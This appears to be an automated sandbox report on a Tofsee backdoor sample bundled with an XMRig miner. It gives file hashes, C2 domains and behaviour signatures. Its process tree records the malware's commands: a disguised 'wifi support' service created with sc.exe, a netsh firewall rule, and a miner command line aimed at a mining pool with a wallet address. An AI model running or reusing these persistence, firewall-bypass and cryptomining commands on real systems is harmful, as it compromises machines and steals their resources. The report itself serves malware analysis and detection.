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Overview

overview

10

Static

static

10

96baba74a9...72.exe

windows7-x64

10

96baba74a9...72.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    20/12/2022, 14:22

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General

  • Target

    96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72.exe

  • Size

    71KB

  • MD5

    92e466525e810b79ae23eac344a52027

  • SHA1

    911584e1b90847e96e2c4434cefa16bd9e9dff70

  • SHA256

    96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72

  • SHA512

    d914c3f428bb4a830fa92c1098206618d3ba2caf8fc2586b33270f9a2f96a0271763b53fb12965901c5eb84602c4cdfb718a14c699f15f1e0c9ed7d1e64ba208

  • SSDEEP

    1536:6k6s21VCn63TxSYWz+XTjFWL9ydpIcUc:6PVCnQxSYO+XF3pIH

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72.exe
    "C:\Users\Admin\AppData\Local\Temp\96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1488
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ofbwdxkk\
      2⤵
        PID:736
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\benyyuur.exe" C:\Windows\SysWOW64\ofbwdxkk\
        2⤵
          PID:1292
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ofbwdxkk binPath= "C:\Windows\SysWOW64\ofbwdxkk\benyyuur.exe /d\"C:\Users\Admin\AppData\Local\Temp\96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:876
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ofbwdxkk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1496
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ofbwdxkk
          2⤵
          • Launches sc.exe
          PID:1836
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2000
      • C:\Windows\SysWOW64\ofbwdxkk\benyyuur.exe
        C:\Windows\SysWOW64\ofbwdxkk\benyyuur.exe /d"C:\Users\Admin\AppData\Local\Temp\96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1760
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:984
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1556

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\benyyuur.exe
        Filesize

        14.7MB

        MD5

        17e199af966dae731c1d100be2ac045c

        SHA1

        e7c9527908ddbe6f38406effdf39e69baea8f65c

        SHA256

        977548d0f49b7555b2437be83ef9756ac15f4e130ca791965cf763aa4fdb38e7

        SHA512

        48e53712e9945bfe3cb56025c5ecd7d867f64008a7b0476f5ca96c620297d191df9b7d375751965f9b323669797e7db2fcdf751037d5da83e043a8d5b1b19ed3

        Download Submit

      • C:\Windows\SysWOW64\ofbwdxkk\benyyuur.exe
        Filesize

        14.7MB

        MD5

        17e199af966dae731c1d100be2ac045c

        SHA1

        e7c9527908ddbe6f38406effdf39e69baea8f65c

        SHA256

        977548d0f49b7555b2437be83ef9756ac15f4e130ca791965cf763aa4fdb38e7

        SHA512

        48e53712e9945bfe3cb56025c5ecd7d867f64008a7b0476f5ca96c620297d191df9b7d375751965f9b323669797e7db2fcdf751037d5da83e043a8d5b1b19ed3

        Download Submit

      • memory/984-85-0x0000000005990000-0x0000000005D9B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/984-72-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/984-91-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/984-88-0x0000000000420000-0x0000000000427000-memory.dmp

        Filesize

        28KB

        Download

      • memory/984-82-0x0000000000410000-0x0000000000415000-memory.dmp

        Filesize

        20KB

        Download

      • memory/984-64-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/984-66-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/984-71-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/984-79-0x0000000000400000-0x0000000000410000-memory.dmp

        Filesize

        64KB

        Download

      • memory/984-73-0x0000000001950000-0x0000000001B5F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/984-76-0x00000000003F0000-0x00000000003F6000-memory.dmp

        Filesize

        24KB

        Download

      • memory/1488-54-0x0000000075D01000-0x0000000075D03000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1556-92-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1556-94-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

        Download